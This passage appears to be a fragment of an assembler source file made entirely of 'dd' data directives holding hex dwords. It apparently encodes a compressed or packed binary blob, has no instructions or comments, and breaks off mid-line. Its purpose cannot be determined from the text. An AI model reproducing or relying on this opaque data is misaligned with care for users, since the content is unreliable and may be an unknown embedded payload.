48880012h, 0B176784Fh, 104FBC24h dd 4E781229h, 11C03674h, 0DA927CFBh, 0BE907819h, 7018ECA9h dd 786922EFh, 2F0FC2B5h, 9BE61538h, 0E6D64B10h, 8A97E3Ch dd 8CC4A127h, 0DAFC593Ch, 8442DA21h, 7A73F224h, 9450AC7Ah dd 6511CC0Ch, 26645B8Ch, 0C1906018h, 773C4599h, 0F96529DEh dd 0F14ABE99h, 0C6A4EEA9h, 0EF11C44Eh, 11FBE924h, 95785E88h dd 5176340Bh, 186D2826h, 532C90ACh, 55E0184Eh, 0E366F86Ch dd 0E94A0C4Dh, 1AF3DD7Ch, 850B0967h, 9408A288h, 1099C466h dd 0F5504975h, 6FAD2373h, 6190BF10h, 289EA5D1h, 5E645AE3h dd 4F1A2450h, 411782Dh, 517D94A9h, 58783008h, 0C9963E70h dd 2C18AC88h, 0F04D11B2h, 699B8957h, 0B40C16A0h, 6C106CF4h dd 114D66BCh, 4B6E9413h, 69880A11h, 0CCE82410h, 1A996410h dd 0E0131034h, 0D57BBEA8h, 6634DF11h, 19641AEAh, 11C87EC6h dd 2E1C968h, 6A90766Dh, 8A1A819h, 9A820728h, 4F43141Ah dd 4D081641h, 2310B4CDh, 68430180h, 440CA22Eh, 93DAE560h dd 38A8E428h, 0DB060841h, 11CF829Eh, 584D6814h, 75129804h dd 0E55FDCF9h, 31CC0DA1h, 66D89FF4h, 27279560h, 34080A6Ch dd 0C8FF1620h, 98C547E4h, 36BA617Ah, 63B4313Bh, 41D9D3BAh dd 68140C0Ch, 0F4B608A4h, 65560822h, 4E8148CCh, 0DA781CE2h dd 394C6265h, 7275E4F9h, 57C51CABh, 5A0E8460h, 18933E0Ch dd 55643242h, 682694D9h, 10F15E08h, 1435A504h, 8EA6E97h dd 0B96BAC3Ah, 980618EDh, 11B5F9D6h, 671F024Eh, 14AB756Ch dd 5D72A8E1h, 686EEDA0h, 87928E5h, 882229Ah, 68454F6Bh dd 9893DA08h, 12666BC2h, 85CC10DAh, 0C4677354h, 0CD8D49C4h dd 0C4671092h, 4FBCD3Bh, 30C0110Ch, 4A064626h, 299ECF88h dd 0F2649228h, 0F5189A24h, 201BDE12h, 92CADEFh, 0F0923F08h dd 6214A579h, 0F0922BD6h, 0F0FAB061h, 68DC9C6Fh, 97AD250Ch dd 8599A410h, 6528D53Eh, 0AFEF4980h, 0B4E68F11h, 720ED928h dd 0C6F5994h, 0BDD730D4h, 72109854h, 8C624875h, 0EE1CE5A4h dd 0A845089Ah, 0BB56922Dh, 0E5184FC0h, 0BE08043Dh, 92409951h dd 9AFA13A5h, 73DCC10Ch, 95680848h, 646BCB85h, 271C550Ch dd 19A0665Eh, 68AECF9Ah, 3574AF95h, 5C8F6814h, 104FE83Eh dd 96DC4D3Fh, 0D376B856h, 2642D319h, 92801151h, 9297482Dh dd 50F432AFh, 58088A8Eh, 8795126h, 87EA4171h, 0D37D6408h dd 7963118Ah, 24134F78h, 6F4C9967h, 549FBCD7h, 9EC5D440h dd 0C69729Fh, 659A7E2Dh, 500C536Eh, 0A47581D4h, 0D73BFB18h dd 0B20C6A7Bh, 6F424C08h, 111F78EBh, 92ED6374h, 0C2140B5Eh dd 661429ABh, 9710D641h, 0DF11AD83h, 0DD10DB41h, 776FE07Ah dd 0F8A2FD8Bh, 73EA116Eh, 89629628h, 0B86FE18Ch, 770854A8h dd 0F682B8BAh, 7618150Ch, 11B50DB6h, 9D10B066h, 0E8A5EC09h dd 630C4B68h, 69457444h, 0E47AAAF3h, 7611C982h, 20867C88h dd 3054F508h, 0C40224F5h, 0A730AA73h, 6B55FA3Eh, 656CE408h dd 0B4707184h, 0B40CC86Fh, 0C20C34D1h, 20AD651Ch, 457F6C3Ah dd 14180D08h, 14185EF3h, 4C931061h, 6D117314h, 0E80B09D2h dd 6AD28974h, 230C12CCh, 846D6508h, 29B15E36h, 9EFC1036h dd 6868BC98h, 2008A1A2h, 276C0B50h, 48566E45h, 6519E023h dd 84564A9h, 1069C8A3h, 430518A9h, 0CF1C2771h, 89D714B4h dd 8870E225h, 91187DAh, 4B4F4BDFh, 10FA2611h, 7451DC9Ah dd 0ABD46520h, 69270824h, 85273BCh, 60493264h, 0DA8C3C6Dh dd 0B29CD918h, 74666610h, 756210C6h, 3D48835Ch, 77364B18h dd 98A6DC1Ch, 92A318D3h, 720E106Ch, 45CA10AAh, 0A167EAFh dd 0B5DB73A2h, 76C6BB11h, 0A310D383h, 0F3116EA1h, 5F086250h dd 4210C111h, 4CE24920h dd 75109A1Ch, 1058949Bh, 627917BCh, 0D7CB9867h, 104A28B3h dd 806C389h, 84C2B8B6h, 0A46D7114h, 28D5A230h, 68623083h dd 0F451326Eh, 0E66210B2h, 0BF71F179h, 259EEC28h, 3474D685h dd 62F19208h, 5FBE9756h, 82108C66h, 0D000D08Fh, 2A9A0C04h dd 1CD1FA52h, 6DE9420Ch, 98799411h, 2734269Fh, 18DEAC14h dd 0FEDC739Bh, 0D7707111h, 6FF08BA6h, 1373A920h, 0F1115188h dd 1093C165h, 48AB16Dh, 7EB85A18h, 0DE2F0812h, 80A71116h dd 0EC75559Fh, 68BFA392h, 97683811h, 9F224821h, 103491B1h dd 8FFE11E1h, 1A6B0920h, 681C4900h, 68A83054h, 106AB042h dd 105539F6h, 251408A4h, 6B1163ADh, 11A7348Dh, 0A03AFD62h dd 41B43FFAh, 410C7315h, 0A1564983h, 11B49310h, 116865A3h dd 0E13227BEh, 691C0C08h, 0BCB31658h, 6B621932h, 6F765526h dd 115E18BDh, 1C5A80A1h, 216C541Fh, 88ED199Bh, 0DBA24A6Eh dd 9AA783C3h, 0B5FDA408h, 784B1011h, 82819278h, 0B5E07198h dd 139FE118h, 73FA6808h, 1C564733h, 376A0C41h, 77E9CE99h dd 115B3F13h, 0DF20AF50h, 0C160AD2Fh, 6D167CFAh, 632A2910h dd 79796121h, 2FA0F509h, 1362B508h, 186D145Eh, 0C54A6AEDh dd 51701869h, 1C31088Ah, 9B93167h, 5ACA5408h, 8089708h dd 0B68021B4h, 0C480DD10h, 48937949h, 7C96513Ch, 0B718A6C8h dd 10B6DAF1h, 7665139Ah, 19853679h, 4A3C28B9h, 0B6893B85h dd 9CC10BFh, 546716DEh, 692A1C49h, 6BA5A938h, 0AFFE77FDh dd 56A1120Ch, 0C11A621h, 8D6A7948h, 7475E034h, 0AFFC45D3h dd 0FB720C44h, 0EA682328h, 69709C0Ch, 0BDFC2D20h, 0C1F2849h dd 4F9EB1A2h, 262C194Dh, 1722AC41h, 6446196Bh, 9BEFFF1h dd 7C20D8D1h, 5A3CFCBBh, 0B6C485Ah, 0C9EC4408h, 749B7210h dd 58701024h, 0C5E7106Dh, 0FB14453h, 11B2EB09h, 10A57982h dd 0F1183574h, 6D18136Dh, 5E1273BAh, 0DA116D8Dh, 6EAD74DBh dd 120882E1h, 18508834h, 0BCC4D149h, 2A9B974Ah, 0AD964F15h dd 0DB2D9E78h, 2C583CDCh, 726006D2h, 8B51962h, 10322503h dd 4C63D475h, 84AC7310h, 8895389Ah, 260801h, 0A5896493h dd 0DD18BDh, 9F3A15Bh, 9A3D380Ch, 68486110h, 182C666Ah dd 0A072F1F1h, 2DBC08C8h, 0D6287314h, 10645DA3h, 986AE869h dd 0A4746610h, 84E7A618h, 0EA71F124h, 8D7F8721h, 79189358h dd 4C089A51h, 7710D84Ch, 0B610A46Bh, 8690200Ch, 0DB3CF330h dd 39741199h, 7C144306h, 0CE86496h, 8F200868h, 14AC677Dh dd 8E8089Dh, 760361A7h, 7CF25C4Dh, 88154F86h, 30655171h dd 29E2205Dh, 7355F6F8h, 0DAF56878h, 0F0ABE211h, 506A5610h dd 304DEC41h, 693D5565h, 0E08E19DAh, 81BE7891h, 0E423136Fh dd 86ECEE68h, 0D0948C0Ch, 898108Ch, 6F457547h, 10A0B419h dd 0D9745B81h, 0D7B4F365h, 0AA08FA89h, 9088A65h, 0F9CCEC91h dd 0BAF2D255h, 8B0CAA75h, 73AF25FDh, 0A9571856h, 0C645E94h dd 189A60A9h, 3C3BED08h, 0DC086F2Dh, 53672A10h, 974A0879h dd 680C0A87h, 6B584908h, 9B1C6C49h, 22964918h, 397E199Ah dd 80E38B4h, 84103467h, 0FF257361h, 0B1109866h, 5E22728h dd 141B0C1Ah, 8D0834D5h, 0CC10BB58h, 5511DBBAh, 0FFE2F720h dd 8CCB860Bh, 7468C8C4h, 0BD2E41DEh, 6D6910A2h, 0F9454661h dd 10DA0F7Ch, 2C76880Dh, 33106B7Ch, 9D114A1Ah, 6D1996F3h dd 10AD63C9h, 46792E41h, 6F4A6610h, 0D1F2D8D9h, 340D21ACh dd 39BCA118h, 754683D0h, 8A54173h, 10DAEC38h, 10586813h dd 2D2771C7h, 0F9294441h, 0EA1DD31h, 85142508h, 48EA18D4h dd 4A109BD7h, 8F0100Ch, 0D9644F76h, 530C1440h, 22491B08h dd 45ADCE58h, 1491E20Ch, 7D107C61h, 0C4442D26h, 85107394h dd 8327A6Eh, 2DEBA46Bh, 0DDCB9DB1h, 0DDEE1025h, 94D0F254h dd 65084CF7h, 72277942h, 0BB0870A8h, 9B1073AAh, 900CA0AAh dd 0DF588A78h, 0B41C9D88h, 0BCB064A8h, 753150A7h, 0A0FFB4B2h dd 2C8BB319h, 0AD9548EEh, 4DD71059h, 19DA1CE8h, 0B36CCF05h dd 28196815h, 10CD616Ah, 10546FD9h, 9254D710h, 8C2714F5h dd 84B40C41h, 0A90C376Eh, 0C84FFECh, 87357DDEh, 1510B126h dd 186F7A6Ah, 9949BC48h, 55CB6125h, 67AAE4h, 2744C989h dd 8920844h, 0FD08AF6Eh, 2C56C3FCh, 0CFD5AB78h, 182808BAh dd 85B9CA3h, 8221AF36h, 0F5EC1BC9h, 7110C566h, 0DF32A262h dd 501B4889h, 70F74BC5h, 5A3E7DDBh, 0FB789FF6h, 10B27449h dd 10F36E34h, 89C44F3Eh, 6F640820h, 64918C73h, 0EAAC10B4h dd 66701CDEh, 261D6F8Dh, 4D9E2610h, 79D06C10h, 336CD1C9h dd 201059CCh, 41ADE65Ah, 0FD29350Ch, 950C5566h, 0F3ACD90Ah dd 68324164h, 6481730Ch, 106C2C96h, 0F994AC6Eh, 0DE782C76h dd 7F08A847h, 0D170A462h, 44131A4Ch, 0E1198D77h, 68E90575h dd 346C18DAh, 336610CEh, 27866697h, 0CF57F7D2h, 0C9897284h dd 124F5CBCh, 19977664h, 8677529h, 0C2797408h, 72306973h dd 65468E66h, 4C8E105Eh, 72A4E45Eh, 8E7E08AAh, 0D7116E3Dh dd 109126BEh, 11D82C97h, 73E1FD69h, 42166EE5h, 132D9AB4h dd 6C182F8Ch, 192437BBh, 7A9FC166h, 96A80CE9h, 651150D9h dd 506B156Fh, 0AC71189Ah, 1BB5B4A0h, 58C2C4AAh, 0D7F07A74h dd 622DE010h, 5AD28CAEh, 116957E2h, 108A1CF8h, 107DFB1Bh dd 0B27AE0C8h, 0FC657010h, 2C8D1935h, 0C42726E2h, 5575713Ah dd 6FB1330Ch, 2D8E5811h, 22BEBB52h, 0C2089510h, 1393C864h dd 6D78B663h, 1409FA18h, 0C6BD8104h, 522D3648h, 0BADD5F0Bh dd 6C42F168h, 614F4C40h, 2C4AD887h, 5EEF4747h, 186D47EEh dd 0D83877DDh, 0E574109Ah, 57A106Dh, 9756C8Eh, 88756708h dd 9A4F3094h, 72A10241h, 0B622FC63h, 705E219Ch, 0B37880F2h dd 0D711B441h, 41493C57h, 0BEFB0792h, 3879A921h, 0B4987025h dd 6F12CD00h, 43385658h, 4468F579h, 99773E9Eh, 4348BC78h dd 10DBC058h, 9B3CA8ADh, 0A2907C10h, 48B9DC9Ah, 0A0582608h dd 4D8B9408h, 0B4C94D10h, 0D6E31A11h, 20EE3968h, 680B9DA5h dd 10ECF8D4h, 0B8459573h, 0CCC71834h, 80474CDh, 0D47EA88Dh dd 0FC994B1h, 82736408h, 1491613Eh, 2C69EB63h, 6D895F11h dd 18D688CCh, 10AD60CDh, 809441Ah, 2F08F928h, 11DFB244h dd 20A2FA7Fh, 4DDDA5C3h, 71326230h, 0EEB5E316h, 9010F036h dd 4D408B3Dh, 0D97A552Ch, 556B7C11h, 7924C218h, 0F9C308A9h dd 649A1278h, 0D866724Ah, 0C9634F18h, 61109AAEh, 6C18C1FAh dd 26C85F6Bh, 25C225C5h, 7A26082Dh, 6D5C4E11h, 2E650918h dd 404AC2AFh, 0BF510C1Ah, 882D0C23h, 3A5A0C57h, 6DF37618h dd 84EE0518h, 0AB082725h, 7AF88DDAh, 0D1080CA2h, 270821E8h dd 34A2D376h, 9E3CA8D0h, 8A69E62Fh, 992CF70Ch, 79526B8Eh dd 8A47D0Ch, 8821692h, 73949FDEh, 60702A08h, 0FCB65AB2h dd 0DACA1137h, 9AA55468h, 700809CFh, 0B49BB5D6h, 2590F5E5h dd 140C0D27h, 65084A92h, 219C6A10h, 14A927CCh, 19C59C6Ch dd 24586570h, 846974A8h, 6136ADFBh, 585465C9h, 78E18316h dd 88E30816h, 866E6908h, 0E4DE79F4h, 817CCEA7h, 543C7410h dd 19AB185Ah, 44FD7570h, 120819E0h, 126F5463h, 1A1F530Ch dd 0C110C05h, 58DED263h, 0F6AF196Dh, 19DAECECh, 0D9380BA5h dd 6D11328Fh, 0F628A392h, 0EDD74A0Ch, 9CE6E619h, 0B373AF1h dd 6C794202h, 5610DAB8h dd 10CB2664h, 0F1056461h, 262FB561h, 724A1014h, 0C034FDDh dd 820CD6Bh, 8C797A64h, 276E6521h, 8293442h, 10749833h dd 104D0CB6h, 7839F32Bh, 46370F97h, 0BF11696Bh, 10829E72h dd 0A508C328h, 48085588h, 6A54BC41h, 0BC08A673h, 7C186DB9h dd 8AA7455h, 509D23CBh, 0F1965408h, 2A2009E5h, 5F20E310h dd 1A14E31Ah, 0C8102D08h, 118DFF05h, 8786FF1h, 6D08A970h dd 0D3E432C2h, 13DC11DAh, 566AFA10h, 3018CD38h, 8AA72E3h dd 106C6CDEh, 3ABEB675h, 201C6629h, 2AE6AAD9h, 11B4C808h dd 11DB52F8h, 89AE27B5h, 10D568ECh, 852ADE18h, 0E7086B51h dd 431D9648h, 8CAE7D60h, 3A620BA1h, 0C10A864h, 4CAF911Ch dd 0CA67E6Eh, 637F8E9Ah, 0BCB80CA6h, 9C3A088Ah, 7ED42942h dd 0E0940820h, 0D23D14A3h, 0DEB05C6Ch, 1325CD24h, 0D1104145h dd 0DE113D06h, 0C8567EB6h, 8A3C0C41h, 140C6E8Ah, 0A2932863h dd 0C6116B99h, 0F510D26Dh, 0E081689h, 0D9366D4Bh, 0A4677119h dd 70C59508h, 6A970C22h, 0CBF012F4h, 80AD7DDh, 881BEAAh dd 0C809A072h, 2C1C6F55h, 6910DB95h, 8C332288h, 6EA9C2E4h dd 7AF1087Ah, 498B3D67h, 99457A10h, 6129CDE8h, 0AAAC3420h dd 930CAC51h, 86DE0596h, 21649C0Ch, 2DB0B218h, 10E8665Ch dd 58266797h, 16EFF10h, 2D746312h, 0DA7C6C44h, 0F3A8F720h dd 0A2934808h, 4AAD8208h, 0C41C1AE5h, 0AB637D03h, 2D3E250Ch dd 49746219h, 14112A1Ch, 5F613608h, 0C49FDB6h, 96B8DD2Bh dd 60B26818h, 479106Bh, 906711B5h, 0D2A4E68Bh, 0A8587510h dd 2408439Eh, 0EA6F1063h, 10CDC079h, 802A765h, 8AB0CC75h dd 25705414h, 19D3E3E6h, 1F3C3DF1h, 0A7450CD0h, 53B3C42Ah dd 69FA5C0Ch, 98DAA008h, 541486E0h, 0A3770D68h, 9279EA0Ch dd 0ACF9C414h, 5005F950h, 0D993086Bh, 62199750h, 0C45BCB7h dd 82085CA0h, 8AB25FB5h, 7A630C23h, 8A11CED7h, 822846Ah dd 342952DEh, 9023B4A4h, 0CC646C16h, 7729B0EDh, 0B4D52C08h dd 6514219Ch, 6B4C526Ah, 9795891h, 0E0C4102Ah, 0C05467C9h dd 0C72E114Dh, 0F111AD18h, 45584979h, 86F1140h, 0B4795C4Ch dd 7A416110h, 6C8FEE69h, 0D4E6790Bh, 706B10CBh, 11646F9Fh dd 34D05BF3h, 3BD178C2h, 18D64022h, 39ADBCB5h, 0A3CD8BC3h dd 6719665Bh, 0C745312h, 3C319B78h, 3052723Ch, 29DAAA78h dd 70CB4A08h, 440C8A04h, 119F8219h, 1C2F6420h, 6211B3FCh dd 0B98435BDh, 5A08424Eh, 7CE2CD89h, 3C116D53h, 20722E8Ch dd 0DEF93422h, 884C0D0h, 0D97894D0h, 84D6F18h, 0B40826A2h dd 6D056F5Dh, 0A534CD73h, 2ACD6210h, 32273E10h, 720C04DFh dd 0EAE33EC9h, 0B4FBDA74h, 0AF0C2100h, 19484EB3h, 75995F18h dd 67E418B3h, 0ED081FE5h, 101EF813h, 182A6B65h, 106DD494h dd 401F116Bh, 0E19C8D5Eh, 0E8E6E668h, 2FD064F0h, 29354C6Ch dd 5FBCFC62h, 0C1FC674h, 86324C69h, 9B4CAA6Dh, 3E584527h dd 0E1646217h, 2166F21Ah, 8435030h, 0B77C7325h, 663BA4F9h dd 0E0023F39h, 334B3832h, 3650581Ch, 4D200811h, 38392045h dd 11544E32h, 64500C35h, 0A3DE5D73h, 0FEEF4D1Dh, 14144D88h dd 0E037440h, 8393910h, 4CA22A30h, 35D6FD4Fh, 0CC810968h dd 9A874E55h, 0E345053h, 106E415Bh, 340855C0h, 84CC832h dd 0DB300931h, 331CE949h, 58302EBh, 3FFF9E8h, 0C9315B02h dd 0E0FB966h, 0A20E7380h, 9EF9E243h, 2DB16418h, 102360Ch dd 364C033h, 0FD783040h, 60CD78Bh, 0EAD1C70h, 9EB3108h dd 0FD8D340Ah, 3C0C9F7Ch, 0B03D08Ch, 7D48EACAh, 20413E78h dd 5987DABEh, 23FF331Ch, 278E57F6h, 81100C04h, 0ABF10A79h dd 0FC026420h, 316C433h, 0E518EB74h, 39833B17h, 0C3B904C0h dd 74F68587h, 41FF47DBh, 0C8F203D7h, 0E83757FAh, 7FCBD112h dd 2D20C130h, 5A956973h, 6AC1F13Fh, 0C317E8C0h, 0C3017533h dd 22D4AAC5h, 85071008h, 40ED840Fh, 5B58C3A6h, 8314505Dh dd 39F54ECh, 488DFC8Bh, 0F3D7A840h, 44B003AAh, 515257ABh dd 0C9286A89h, 550C8001h, 83D6FF53h, 85540DC4h, 3E64C3C0h dd 0BA9384F3h, 0A3BC2D76h, 0DF4EE24Fh, 7BB53F64h, 9A77C9C6h dd 0B2E5D5E0h, 3BE3F45Bh, 14530366h, 639C68B6h, 97780129h dd 0E908C20Bh, 655540EAh, 18533AD4h, 3776426h, 3533316Dh dd 68441521h, 87635C01h, 42DF4C09h, 1D03C81h, 47ACB85Bh dd 0B801D00Ah, 2944920Ch, 7280EC1Fh, 341CE2D6h, 4109756Ah dd 0DD2E4E53h, 424D8F02h, 0BD984097h, 0A5D59D63h, 14B5E840h dd 20F34039h, 1C1754C2h, 24F2218Bh, 0BB6573B6h, 0DF2D91D2h dd 0C0379B42h, 41B6A105h, 8D31187Dh, 5F2AFE28h, 0A30A85C3h dd 0E83050C0h, 4D11C885h, 0E5011B1Ch, 91014038h, 0D84FC8CBh dd 5A1610EBh, 665C334Ah, 34800180h, 59E2990Ah, 897362FAh dd 0F798ED70h, 9521C3F0h, 0E664690Fh, 0E9877C12h, 0D9633485h dd 0D841CB91h, 7E9AA5EAh, 0E1EF316Ah, 0E9B9E70Bh, 8DD7FC62h dd 0CF74AA07h, 0A6D6C8CEh, 0F36B0019h, 3F6AC097h, 0C6EA91EDh dd 9D5E1A03h, 0E707BDCh, 5412C710h, 9ABDDF41h, 0D07A615Ah dd 503FAA58h, 0CD826FFFh, 0F3EF1C85h, 0A81E6D9Bh, 0D863F912h dd 5F3D1A6Eh, 0F3499F97h, 0E571C006h, 1A80E5DCh, 66CFCB94h dd 0C36365CEh, 229DF3D2h, 0C96FF026h, 0CC988F03h, 0C7692C9Bh dd 879E5E2Ah, 0AA243099h, 0DE031059h, 0CE89F39Dh, 6D2836CAh dd 616C0D36h, 1650D46h, 12DD751Ah, 8042AA6Dh, 8510C034h dd 0EA627B17h, 6A164DFh, 5ED907A5h, 0A098B592h, 89DE14CCh dd 0CACF36C9h, 5EEC6702h, 0FA1BA5F8h, 0BD27FDF4h, 0FE7D3A0Ah dd 0AC71313Ah, 0ECCC1C35h, 81C85160h, 0C34B2480h, 777B32C0h dd 3E715A80h, 0FE6762h, 0C9EDFCDEh, 0D8FAF6EBh, 0E9EDFD71h dd 0DA99C4EAh, 0EDF80CC7h, 1D33129Ah, 0E1DCF8D8h, 0D4DFDF0h dd 0F8DCD5F1h, 0FBFDE9FDh, 0E026B7FBh, 0EAEE0732h, 3EAAC6ABh dd 0E57BA7F4h, 88F23C9Bh, 0F0FB240Ch, 0EAF5E8F7h, 3E7CDEEAh dd 64FAF819h, 94F4E7E9h, 284FB80h, 0FF3517AAh, 6E69B844h dd 0F46CD9EAh, 12DD3703h, 2C4F1428h, 88A5C8BCh, 0F99D4511h dd 2654ADE8h, 4199EA4Bh, 204F3A9Eh, 0A95C5427h, 0E05B21E8h dd 98465402h, 4D56EBBCh, 220B8518h, 0A1768577h, 3B2DCD48h dd 0EA933FF3h, 9F5A9C37h, 8CFE8473h, 0F99F5446h, 0CBB048D6h dd 9486880Dh, 0F8B4290Fh, 0E90AA4Ch, 7DBB16AEh, 55B2F80h dd 14E243C1h, 968AF95Eh, 77BAD356h, 7929D59Bh, 43B12B34h dd 50BD2707h, 0CD6FE3FBh, 26FA2F53h, 295A683Bh, 8091B4ECh dd 0BFAB34B4h, 3DFB0717h, 4A200E78h, 0FEFD34FAh, 0CEFE4FC4h dd 8EAAA5B4h, 0F4319430h, 38D03A2Fh, 72B63FADh, 189DFEB4h dd 3DE49B0Fh, 0CFB23F34h, 40E23FF9h, 0D4044EBDh, 4C62A554h dd 1B5EA92Ch, 0B6AAE463h, 0A4289128h, 53C388FFh, 68CCF19Fh dd 7553C090h, 10A52D62h, 46F1A024h, 0D49F3532h, 129A4074h dd 0FEF3AE0Fh, 82DA839h, 0FE666F13h, 0A00A6F29h, 6AA9D390h dd 0F66E67E5h, 18CBF4B0h, 1DE9AC46h, 0FFB5146Ch, 13FF2394h dd 725E0D02h, 7942BE17h, 15FC734Bh, 181D2EC9h, 406A9D29h dd 0E05357D6h, 3DD27156h, 58A67E2Ch, 5AA73494h, 45FDD235h dd 0DC58E848h, 2429029h, 0F8078C21h, 80A010Fh, 0FDF020C0h dd 0FF0CA17Fh, 235F6538h, 0C8CA1865h, 37626A5Bh, 6207A713h dd 43500200h, 454E0120h dd 524F5754h, 76B4BA4Bh, 413C4777h, 2E310C4Dh, 0F24C3030h dd 6A2F54Eh, 6756970Bh, 0E9F466C6h, 5F9F4AF2h, 83709C69h dd 312E331Eh, 4D513061h, 30583248h, 33B3D2E3h, 16DE2EEEh dd 3220544Dh, 16BF30CDh, 73888852h, 183B0764h, 40BFF0Ch dd 1A0A5311h, 8006D48Ch, 28108A1h, 4B19E044h, 0A345EA46h dd 0F30DBEA7h, 274704EAh, 22941D5h, 8D1CF206h, 0CDF3CF02h dd 0FF42F910h, 48478302h, 804B4A49h, 504F4E9Eh, 53520051h dd 57565554h, 5A005958h, 64636261h, 2676665h, 6B6A6968h dd 58766D6Ch, 70F07112h, 77760275h, 307A7978h, 8B7DD357h dd 0BE442F2Bh, 816660C2h, 899B80ECh, 0A4EDE8E6h, 683603DBh dd 63D61209h, 190FF7E3h, 0A084689h, 760014A2h, 0D06B6804h dd 54CA7D2Bh, 0F00C15E2h, 0FA248E3Fh, 0B13E2497h, 0DB311BCDh dd 0FF10F1h, 89D0FF99h, 768B56C3h, 0B9C7D8F9h, 0A4F310A0h dd 0C0315E0Ch, 0C1530250h, 0C56FF06h, 0D49EB28Bh, 5E5F01C4h dd 60E0F85Bh, 7123E830h, 24448Bh, 7C588D0Ch, 53C4383h dd 28708174h, 311F1049h, 0FFF00E63h, 6048BC4h, 14C48324h dd 0C3737C50h, 0B964D23Fh, 22899932h, 1B32B8C6h, 29D0F5Bh dd 0AFF3DFA2h, 0EBC7E155h, 107EC8DBh, 48F7F64h, 60C36158h dd 8B23C8BFh, 89C71F63h, 0F890BF07h, 9A78C781h, 0FF9F63Eh dd 4741939h, 0F8EB09E3h, 5AD3FAD3h, 0B705B7CFh, 0F68FEF52h dd 4ACF118Fh, 0FD43C681h, 0A16E8A01h, 400E360Ch, 6E586C1Ch dd 8E47F11Eh, 6F460EACh, 6CE39A04h, 45F12824h, 554FC3Ch dd 0A7EA8CCFh, 5AC3184Ah, 0E3EBC020h, 7D497B38h, 28EEF034h dd 3E95FF31h, 0E081ACFCh, 0CFC10774h, 0EBC7FC0Dh, 7C3BF40Eh dd 0E1752624h, 6603ED48h, 904B0CB1h, 0BF411C12h, 89E8548Ah dd 618E3DDDh, 921F08C2h, 0C4F830FEh, 0D8A0F254h, 4652E8FCh dd 7CBB64F7h, 4F28EF4Fh, 2E885F10h, 0AC99C0E0h, 0B790E984h dd 6C222CAh, 75042454h, 5B8C44E3h, 0FD209F3h, 325C89C6h dd 645AC365h, 8530B207h, 0FB0F7862h, 868829Ch, 5F8F0BE9h dd 7C0534E2h, 3C680880h, 0F607315Fh, 0DEB5660h, 43CEEF92h dd 0FE98F072h, 570E028Ah, 0EEE8E7FFh, 0FFE184D0h, 0B9064338h dd 5019C2Bh, 19A0024Ch, 0A109C830h, 43370391h, 0EB840803h dd 8379006h, 76D638Bh, 735E2FDFh, 0F16F5DE0h, 585CF67Eh dd 1A3E8C3Fh, 0DD14AA26h, 3166E3C4h, 0FD273E05h, 0C7791449h dd 72124E68h, 1A7EEA7Fh, 0FE045010h, 0EE8EDC2Dh, 0FA1B34F8h dd 0E005718Ch, 1003330Bh, 92248D9h, 16D0357Fh, 0D9B8A204h dd 606DA004h, 46C5C088h, 5D040500h, 4EB8A88h, 9F11C91Ch dd 2B6A80E8h, 602C4810h, 5E47002h, 0E83B4C11h, 0FD84E540h dd 2D044443h, 0A7940631h, 58243200h, 6445CCFDh, 70B00049h dd 2C74AEDDh, 6015D296h, 0CD1C0D5Eh, 4C031970h, 1010457Ch dd 96804C00h, 52AE2F1h, 0A611CE4Dh, 0AFA1806Ah, 0F435726Eh dd 2281290Ch, 34584252h, 0ADF0140Dh, 0A81208BAh, 60870DF4h dd 4D0410E0h, 57324F45h, 0BEA22904h, 33829BCh, 943071CCh dd 0C5182829h, 0D00C1001h, 0E1C803CCh, 18024449h, 11689AD8h dd 94780798h, 2858C4B8h, 2964168Dh, 0CA209150h, 0ABD974B9h dd 0A523105Bh, 0A47CA6E4h, 0F2AD918Fh, 74823EAAh, 58645844h dd 40489009h, 78262091h, 3C01E560h, 4F8850D8h, 20881BB6h dd 2E8403FFh, 486062F4h, 66480446h, 20915EEh, 9C10B2A4h dd 1408862Ch, 0B40C1978h, 701C28D2h, 9398D81Ch, 11D24F80h dd 32BE3DA9h, 3221B257h, 5839E1E2h, 0D0E82380h, 4318E001h dd 6008E114h, 0F8A504A6h, 3BF2C011h, 0E0E0241Dh, 317C581h dd 0E90E8007h, 0F110994Ah, 156F508Ah, 0E402857Ah, 24E80FA9h dd 6E656030h, 0DAD81842h, 6124BA0Dh, 0C5C0CADh, 0B208A503h dd 284D58E2h, 2480D3BBh, 44D6482Eh, 21E10E68h, 0B8BE0A4h dd 948F02E0h, 5CB30820h, 8AA0570h, 24E8C357h, 9336310Dh dd 3592A033h, 18D136E0h, 0F89CBD02h, 156F1C64h, 20B27863h dd 0C2D9899h, 0CC2A5088h, 37F8AE02h, 8B188C28h, 0D484003Eh dd 42554E70h, 460C1E08h, 81684804h, 7FFDE0CCh, 4C1908A7h dd 0BA014E90h, 16C62870h, 139D35EFh, 49603808h, 649150E0h dd 58884FB8h, 45202F3Ah, 779EDE96h, 5A385F5Bh, 7CDA3D9Bh dd 6966F99Fh, 0D0AD3ADDh, 8B2D8634h, 0E8108E54h, 79697270h dd 137EE565h, 929BAC1Ch, 425BBCB0h, 4325224Bh, 9062CF0Bh dd 38FDC606h, 12120FA9h, 0BEE295D9h, 6E4BF120h, 23025592h dd 0ACF4607Bh, 2BEB799Ah, 66CDA340h, 0A171128Fh, 180C1B19h dd 0C0097525h, 0EBF1CD2Ch, 0CF660D84h, 367FB989h, 61605D9h dd 0F141128Dh, 987528E6h, 9D3E9B75h, 0F355034Bh, 25CAC889h dd 33C0812Ah, 2097F1D3h, 0A9FF104Bh, 0CD75011Ah, 0F3BDA514h dd 3C032E8Ch, 0CBDD5F64h, 0F679B89h, 0C510A40Ah, 0D509D12Ch dd 0CE14C988h, 0C8CCCD2Bh, 9861F302h, 0A9EF6608h, 0BD9DCF01h dd 0A8407B95h, 859DCC91h, 0C87A9506h, 0A5DC121Ch, 0E1B1CDC0h dd 0F4CB4C9Ah, 3B976EBh, 0D050AA6Ch, 5CEB34D8h, 279642B8h dd 4FA38900h, 525891EDh, 43FC94h, 0A26872D9h, 0C37EEC86h dd 0BD7D1272h, 19FF443Bh, 8512D295h, 819CED07h, 0C0C73252h dd 0BB46715Ah, 0D7170002h, 67EB7597h, 34078F2Ah, 76579C40h dd 52F97921h, 0F6A25120h, 1F6C7F90h, 7336075h, 295FE07Eh dd 7DE4FC79h, 0AF84957Ch, 0FECC2540h, 874BEDFEh, 1EB8FDCEh dd 239C908Fh, 657564EDh, 0FDE37A12h, 6D646988h, 904B6133h dd 8459FF8Ch, 0CF209D42h, 0D96207E7h, 490074FFh, 8720FE71h dd 9C977DAEh, 7901FB00h, 8BEFB7CBh, 7D08B94Fh, 21083B3Ah dd 37907676h, 0D3FD29C9h, 0FDED5C07h, 8C45FFF6h, 2FEEF220h dd 